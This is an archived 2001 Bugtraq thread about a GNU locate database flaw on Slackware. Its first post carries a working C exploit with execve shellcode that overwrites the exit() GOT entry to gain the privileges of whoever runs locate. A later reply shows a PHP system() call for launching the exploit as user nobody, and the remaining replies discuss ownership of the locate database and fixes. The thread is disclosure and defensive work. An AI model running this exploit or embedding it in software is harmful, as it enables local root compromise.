6829754 2001-08-01 12:03 -0400  /33 rader/ Josh Smith <josh@viper.falcon-networks.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-08-01  18:41  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18556>
Ärende: Slackware 8.0, 7.1 Vulnerability: /usr/bin/locate
------------------------------------------------------------
Submitted by  : Josh (josh@viper.falcon-networks.com), lockdown
                (lockdown@lockeddown.net), zen-parse (zen-parse@gmx.net)
Vulnerability : /usr/bin/locate (findutils-4.1 and before)
Tested On     : Slackware 8.0, Slackware 7.1
Local         : Yes
Remote        : No
Fix           : Update to slocate
Target        : root or any other user that runs locate
Requires      : UID nobody
Greets to     : alpha, fr3n3tic, omega, eazyass, Remmy, RedPen, banned-it,
                slider, cryptix, s0ttle, xphantom, qtip, tirancy,
                Defiance, KraZee, synexic, Insane, rusko,
		falcon-networks.com, mp3.com/cosv.
Other Stuff   : We all (individually) need jobs.  E-mail the contact
                people with [WE HAVE A JOB FOR YOU] in the subject.

	In slackware, and possibly other distributions, it is
possible to modify the locate database if one were to obtain UID
nobody.  This allows locate to act as a sort of 'trojan' having
anyone who executes it unknowingly execute potentially malicious code.
        It works by taking advantage of the fact locate accepts old
format databases. LOCATEDB_OLD_ESCAPE (char 30) is followed by an offset,
stored in a signed integer, for how many characters to add to the current
character pointer in the path. It doesn't perform any sanity checking of
the input. This exploit tells it to move the pointer back a long way,
back past the beginning of the string, all the way to the GOT address for
exit() which then gets the address of the shellcode added, and the
program then runs out of database and executes our code.
	There is also probably a similar vulnerability in the new format.

P.S. dies: If you see this e-mail josh@viper.falcon-networks.com
(6829754) /Josh Smith <josh@viper.falcon-networks.com>/(Ombruten)
Bilaga (text/plain) i text 6829755
Kommentar i text 6829913 av Linux Mailing Lists <linux@aiind.upv.es>
6829755 2001-08-01 12:03 -0400  /36 rader/ Josh Smith <josh@viper.falcon-networks.com>
Bilagans filnamn: "locate-exploit.c"
Importerad: 2001-08-01  18:41  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18557>
Bilaga (text/plain) till text 6829754
Ärende: Bilaga (locate-exploit.c) till: Slackware 8.0, 7.1 Vulnerability: /usr/bin/locate
------------------------------------------------------------
#include <stdio.h>

char shellcode[] =
   "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
   "\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80"
   "\xe8\xe3\xff\xff\xff/tmp/xx";
char putshell[] =
   "\x14\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c"
   "\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96";

int main(void)
{
   int i;
   int z0=0; int addr=0x0804a970;
   int z1=0; int addr2=-626;
   int z2=0; int addr3=addr+6;
   printf("%s", &addr);
   printf("%s", &addr3);
   printf("%s",shellcode);
   fflush(stdout);
   for(i=46;i<256;i++) putchar('A');
   printf("%s", putshell);
   fflush(stdout);
   putchar(0);
   putchar(30);
   printf("%s", &addr2);
   printf("\x82\x83");
   fflush(stdout);
}
(6829755) /Josh Smith <josh@viper.falcon-networks.com>/
6829913 2001-08-01 19:00 +0200  /50 rader/ Linux Mailing Lists <linux@aiind.upv.es>
Sänt av: joel@lysator.liu.se
Importerad: 2001-08-01  19:21  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18559>
Kommentar till text 6829754 av Josh Smith <josh@viper.falcon-networks.com>
Ärende: Re: Slackware 8.0, 7.1 Vulnerability: /usr/bin/locate
------------------------------------------------------------
From: Linux Mailing Lists <linux@aiind.upv.es>
To: <bugtraq@securityfocus.com>
Message-ID: <Pine.LNX.4.30.0108011849340.32734-100000@andercheran.aiind.upv.es>


Hello,

> 	In slackware, and possibly other distributions, it is possible to
> modify the locate database if one were to obtain UID nobody.  This allows
> locate to act as a sort of 'trojan' having anyone who executes it
> unknowingly execute potentially malicious code.

Obtaining access to user nobody under Slackware (at least 8.0) seems
to be relatively easy, since the apache web daemon runs, by default,
under the "nobody" UID. If the administrator lets users run cgis or
use any other kind of "interaction" with httpd (includes, exec's,
etc...), it might be very easy to run code as user nobody.

I've checked Slackware 8.0 and httpd is set up to run as user
"nobody".

From /etc/apache/httpd.conf:

#
# If you wish httpd to run as a different user or group, you must run
# httpd as root initially and it will switch.
#
# User/Group: The name (or #number) of the user/group to run httpd as.
#  . On SCO (ODT 3) use "User nouser" and "Group nogroup".
#  . On HPUX you may not be able to use shared memory as nobody, and the
#    suggested workaround is to create a user www and use that user.
#  NOTE that some kernels refuse to setgid(Group) or semctl(IPC_SET)
#  when the value of (unsigned)Group is above 60000;
#  don't use Group nobody on these systems!
#
User nobody
Group nobody

Suggested work-around: run httpd under another, "private" user ("www"
for example) and group, and be sure to disable any kind of
interaction between users and the web server (cgis, includes,
execs...).

Please note that having access to user "nobody" is not that bad unless
it's combined with other vulnerabilities (locate, for example, or any
other system-wide utility/program which is run as user "nobody").

Greetings,

							Sergio
(6829913) /Linux Mailing Lists <linux@aiind.upv.es>/(Ombruten)
6830530 2001-08-01 12:05 -0700  /48 rader/ Jeremy C. Reed <reed@reedmedia.net>
Sänt av: joel@lysator.liu.se
Importerad: 2001-08-01  21:51  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18562>
Kommentar till text 6829754 av Josh Smith <josh@viper.falcon-networks.com>
Ärende: Re: Slackware 8.0, 7.1 Vulnerability: /usr/bin/locate
------------------------------------------------------------
From: "Jeremy C. Reed" <reed@reedmedia.net>
To: bugtraq@securityfocus.com
Message-ID: <Pine.LNX.4.21.0108011137240.10725-100000@pilchuck.reedmedia.net>

On Wed, 1 Aug 2001, Josh Smith wrote:

> 	In slackware, and possibly other distributions, it is possible to
> modify the locate database if one were to obtain UID nobody.  This allows
> locate to act as a sort of 'trojan' having anyone who executes it
> unknowingly execute potentially malicious code.

This don't say whether the locate database is always owned by nobody
or just temporary. (I am not at a slackware box.) I am just curious,
because some operating systems first create the database as nobody
and then immediately change the ownership (via a weekly cron job for
example).

If it is just temporary, then I assume an exploit must be timed.

But, if it always owned by nobody, then that is a problem. Nothing
should really be owned by "nobody" -- isn't that the purpose of the
unprivileged  user?

If files/directories should be owned by nobody, please share some
examples.

Also, if some files are temporarily owned by nobody is this a bad
idea?

On a related note, I just saw a nobody-owned mailbox on one of my
servers.  The aliases file didn't have nobody aliased. (I'll report
this directly to the OS and package maintainer for the script that
generated the aliases file.)

On Wed, 1 Aug 2001, Linux Mailing Lists wrote:

(relating to webserver running as nobody...)
> Suggested work-around: run httpd under another, "private" user ("www" for
> example) and group, and be sure to disable any kind of interaction between
> users and the web server (cgis, includes, execs...).

And to add to this: using one "www" user and/or group for *all*
virtual domains' CGI is also a bad idea; in many situations, files
(and directories) created and owned by "www" can be unknowingly
used/modified by other websites. "nobody" (or "www") really means
"everybody".

   Jeremy C. Reed
   http://www.reedmedia.net/
(6830530) /Jeremy C. Reed <reed@reedmedia.net>/(Ombruten)
6830921 2001-08-01 22:21 +0200  /55 rader/ Olaf Bohlen <firefox@is.sun-powered.de>
Sänt av: joel@lysator.liu.se
Importerad: 2001-08-01  23:17  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern mottagare: reed@reedmedia.net
Externa svar till: firefox@is.sun-powered.de
Mottagare: Bugtraq (import) <18568>
Ärende: Re: Slackware 8.0, 7.1 Vulnerability: /usr/bin/locate
------------------------------------------------------------
From: Olaf Bohlen <firefox@is.sun-powered.de>
To: bugtraq@securityfocus.com, reed@reedmedia.net
Message-ID: <200108012021.f71KLbf16178@fyona.sun-powered.de>

Hi,

>This don't say whether the locate database is always owned by nobody or
>just temporary. (I am not at a slackware box.) I am just curious, 
because

This is on my Slackware 8 box:
freyr:/var/spool/locate# ls -l locatedb  
-rw-r--r--    1 nobody   nogroup   1664857 Aug  1 04:42 locatedb

And this remains as nobody/nogroup.

But: no user (except root) should be able to gain access to nobody. so 
this is not a security hole imho.

Also if you run apache-cgi's as user, apache chowns to the owner of
the  cgi before executing it:

-- snip --
#!/bin/sh

echo "Content-type: text/plain"
echo

echo -n "Running cgi as: "
id

echo "Running httpd as: "

ps -ef | grep httpd | head -1
-- snip --

reports when executed by apache:

Running cgi as: uid=4109(dackel) gid=80(www) groups=80(www)                     
Running httpd as:                                                               
www      24330 23441  0 00:42 ?        00:00:27 
/usr/local/apache/bin/httpd -DSS 

so, i don't see a problem here.

Cheers

-- 
-- Olaf Bohlen --------------------- cell +49-172-4561817 --
-- Maxfeldstrasse 16 --- mail <firefox@is.sun-powered.de> --
-- 90409 Nuernberg ------ http http://www.sun-powered.de/ --
-- Germany ---------------------- irc firefox01 (IRC-Net) --
-- ------------------------------------------------------ --
(6830921) /Olaf Bohlen <firefox@is.sun-powered.de>/(Ombruten)
6831138 2001-08-01 16:04 -0400  /23 rader/ Josh Smith <josh@viper.falcon-networks.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-08-02  00:09  av Brevbäraren
Extern mottagare: Jeremy C. Reed <reed@reedmedia.net>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18571>
Kommentar till text 6830530 av Jeremy C. Reed <reed@reedmedia.net>
Ärende: Re: Slackware 8.0, 7.1 Vulnerability: /usr/bin/locate
------------------------------------------------------------
From: Josh Smith <josh@viper.falcon-networks.com>
To: "Jeremy C. Reed" <reed@reedmedia.net>
Cc: <bugtraq@securityfocus.com>
Message-ID: <Pine.LNX.4.33.0108011551410.10958-100000@viper.falcon-networks.com>

	In slackware, it is constantly owned by nobody.  However,
even if it is only owned for nobody for a certain period of time, it
just creates a race condition and is still "a problem."

>
> This don't say whether the locate database is always owned by nobody or
> just temporary. (I am not at a slackware box.) I am just curious, because
> some operating systems first create the database as nobody and then
> immediately change the ownership (via a weekly cron job for example).
>
> If it is just temporary, then I assume an exploit must be timed.
>
> But, if it always owned by nobody, then that is a problem. Nothing should
> really be owned by "nobody" -- isn't that the purpose of the unprivileged
> user?
(6831138) /Josh Smith <josh@viper.falcon-networks.com>/(Ombruten)
6831412 2001-08-01 13:55 -0700  /42 rader/ Jeremy C. Reed <reed@reedmedia.net>
Sänt av: joel@lysator.liu.se
Importerad: 2001-08-02  01:41  av Brevbäraren
Extern mottagare: Olaf Bohlen <firefox@is.sun-powered.de>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18577>
Kommentar till text 6830921 av Olaf Bohlen <firefox@is.sun-powered.de>
Ärende: Re: Slackware 8.0, 7.1 Vulnerability: /usr/bin/locate
------------------------------------------------------------
From: "Jeremy C. Reed" <reed@reedmedia.net>
To: Olaf Bohlen <firefox@is.sun-powered.de>
Cc: bugtraq@securityfocus.com
Message-ID: <Pine.LNX.4.21.0108011334380.10725-100000@pilchuck.reedmedia.net>

On Wed, 1 Aug 2001, Olaf Bohlen wrote:

> But: no user (except root) should be able to gain access to nobody. so 

As another posting indicated and what I have seen on many, many
systems, webservers often run CGIs as nobody -- so, in fact,
everybody is nobody. (Or in other words, it is easy for many users to
gain access to nobody.)

> this is not a security hole imho.

This Slackware locatedb vulnerability is a perfect example to counter
your reasoning.

"No privileges" is the purpose of user nobody.

I believe it is usually assumed that files shouldn't be owned by
nobody. It is assumed that if your nobody-running tool is exploited
that it should not be able to take advantage of anything else.

If some tool running as nobody is exploited, it still should have no
privileges (like write access to some other nobody-owned file).

> Also if you run apache-cgi's as user, apache chowns to the owner of the 
> cgi before executing it:

This depends on how it is configured. My apache configurations don't
look at the owner of a CGI file and then setuid to that particular
user before running it. In fact, if you use suexec, then it purposely
does not run a CGI if its owner is different (because it is
considered a security problem).

   Jeremy C. Reed
   http://www.reedmedia.net/
                                               http://www.isp-faq.com/
(6831412) /Jeremy C. Reed <reed@reedmedia.net>/(Ombruten)
Kommentar i text 6831933 av Brian Smith <avalon73@arthurian.nu>
6831933 2001-08-01 20:37 -0400  /24 rader/ Brian Smith <avalon73@arthurian.nu>
Sänt av: joel@lysator.liu.se
Importerad: 2001-08-02  08:04  av Brevbäraren
Extern mottagare: Jeremy C. Reed <reed@reedmedia.net>
Extern kopiemottagare: Olaf Bohlen <firefox@is.sun-powered.de>
Extern kopiemottagare: bugtraq@securityfocus.com
Externa svar till: avalon73@arthurian.nu
Mottagare: Bugtraq (import) <18584>
Kommentar till text 6831412 av Jeremy C. Reed <reed@reedmedia.net>
Ärende: Re: Slackware 8.0, 7.1 Vulnerability: /usr/bin/locate
------------------------------------------------------------
From: Brian Smith <avalon73@arthurian.nu>
To: "Jeremy C. Reed" <reed@reedmedia.net>
Cc: Olaf Bohlen <firefox@is.sun-powered.de>,
 bugtraq@securityfocus.com Message-ID:
<Pine.LNX.3.95.1010801203546.5544A-100000@camelot.arthurian.nu>

On Wed, 1 Aug 2001, Jeremy C. Reed wrote:

> This Slackware locatedb vulnerability is a perfect example to counter
> your reasoning. 

It's apparently something that's changed in later versions of
Slackware.  Here's one from my machine, which was originally Slack3.5
(before going through several upgrades, of course):

-rw-r--r--   1 root     root       740500 Aug  1 04:03 locatedb

----------------------------------------------------------------------
Brian Smith  //   avalon73@arthurian.nu   //  http://www.arthurian.nu/
Software Developer  //  Gamer  //  Webmaster  //  System Administrator
All I want is a kind word, a warm bed and unlimited power.
(6831933) /Brian Smith <avalon73@arthurian.nu>/(Ombruten)
6837616 2001-08-02 13:05 +0700  /41 rader/ Nasir Simbolon <nasir@3wsi.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-08-03  00:09  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18604>
Kommentar till text 6830921 av Olaf Bohlen <firefox@is.sun-powered.de>
Ärende: Re: Slackware 8.0, 7.1 Vulnerability: /usr/bin/locate
------------------------------------------------------------
From: Nasir Simbolon <nasir@3wsi.com>
To: bugtraq@securityfocus.com
Message-ID: <3B68EDB0.71F9821@3wsi.com>

Olaf Bohlen wrote:

> But: no user (except root) should be able to gain access to nobody. so
> this is not a security hole imho.
>
> Also if you run apache-cgi's as user, apache chowns to the owner of the
> cgi before executing it:
>
>

If apache run by uid nobody, All accounts system will have gain
access to nobody  if : 1. you installed php as module of apache
2. configure php as default

all you have to do is create a php script that execute code
eg.
<?php
   system("/path/to/locate-exploite");
?>
put this script in your public_html directory and access this file from
your browser.
This script will execute by php uid nobody.

note : php have directives in php.ini  to  limit system programs that can
be executed by php  :
safe_mode_exec_dir    /path/to/exec-dir-allowed
open_basedir       /path/to/open-dir-allowed

salam,
/*------------------------------------
--Nasir Simbolon // Web application developer //
--3WSI : 3WSI Web Solutions Indonesia
--http://3wsi.com
--*/
(6837616) /Nasir Simbolon <nasir@3wsi.com>/(Ombruten)
6838231 2001-08-02 18:07 -0600  /37 rader/ Dylan Griffiths <Dylan_G@bigfoot.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-08-03  06:29  av Brevbäraren
Extern mottagare: Brian Smith <avalon73@arthurian.nu>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18610>
Kommentar till text 6831933 av Brian Smith <avalon73@arthurian.nu>
Ärende: Re: Slackware 8.0, 7.1 Vulnerability: /usr/bin/locate
------------------------------------------------------------
From: Dylan Griffiths <Dylan_G@bigfoot.com>
To: Brian Smith <avalon73@arthurian.nu>
Cc: bugtraq@securityfocus.com
Message-ID: <3B69EB24.7DE3644B@bigfoot.com>

Brian Smith wrote:
> It's apparently something that's changed in later versions of Slackware.
> Here's one from my machine, which was originally Slack3.5 (before going
> through several upgrades, of course):
> 
> -rw-r--r--   1 root     root       740500 Aug  1 04:03 locatedb

This happened because:

# This updates the database for 'locate' every day:
40 04 * * *       cd / ; updatedb 1> /dev/null 2> /dev/null

was moved from 

/var/spool/cron/crontabs/root
to
/var/spool/cron/crontabs/nobody

Because, when run as root, everyone who ran GNU locate could see
whatever files root could see (such as other people's how
directories).

I suggest you either upgrade Slackware to slocate (
http://www.geekreview.org/slocate/ ) which is safe to run as root
since its locate will check if you're allowed to see the files in
shows, or assign each subsystem its own UID (which is a good idea
anyways :)).

Hopefully someone who con officially fix Slackware (Pat, Dave, Chris,
etc) can get a solid fix into the base distro.
--
    www.kuro5hin.org -- technology and culture, from the trenches.
(6838231) /Dylan Griffiths <Dylan_G@bigfoot.com>/(Ombruten)
6842019 2001-08-03 06:38 -0700  /36 rader/ Jeffrey Denton <dentonj@c2i2.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-08-03  17:14  av Brevbäraren
Extern mottagare: Jeremy C. Reed <reed@reedmedia.net>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18617>
Kommentar till text 6830530 av Jeremy C. Reed <reed@reedmedia.net>
Ärende: Re: Slackware 8.0, 7.1 Vulnerability: /usr/bin/locate
------------------------------------------------------------
From: Jeffrey Denton <dentonj@c2i2.com>
To: "Jeremy C. Reed" <reed@reedmedia.net>
Cc: <bugtraq@securityfocus.com>
Message-ID: <0108030632270.4876-100000@localhost>

On Wed, 1 Aug 2001, Jeremy C. Reed wrote:

> This don't say whether the locate database is always owned by nobody or
> just temporary. (I am not at a slackware box.) I am just curious, because
> some operating systems first create the database as nobody and then
> immediately change the ownership (via a weekly cron job for example).
>
> If it is just temporary, then I assume an exploit must be timed.
>
> But, if it always owned by nobody, then that is a problem. Nothing should
> really be owned by "nobody" -- isn't that the purpose of the unprivileged
> user?
>
> If files/directories should be owned by nobody, please share some
> examples.

This is on a 7.1 box.  It doesn't have a full install on it so there
may possibly be more.  I'm not running a proxy either.  My guess
(just a guess!) is files used by the proxy may also owned by nobody.

# find / -user nobody -ls
294913    1 drwxr-xr-x   2 nobody   bin          1024 Aug  3 04:41
/var/spool/locate
294914  884 -rw-r--r--   1 nobody   nogroup    904693 Aug  3 04:41
/var/spool/locate/locatedb
155654    1 drwxr-xr-x   2 nobody   nobody       1024 Mar 20 02:58
/var/cache/proxy

dentonj
(6842019) /Jeffrey Denton <dentonj@c2i2.com>/(Ombruten)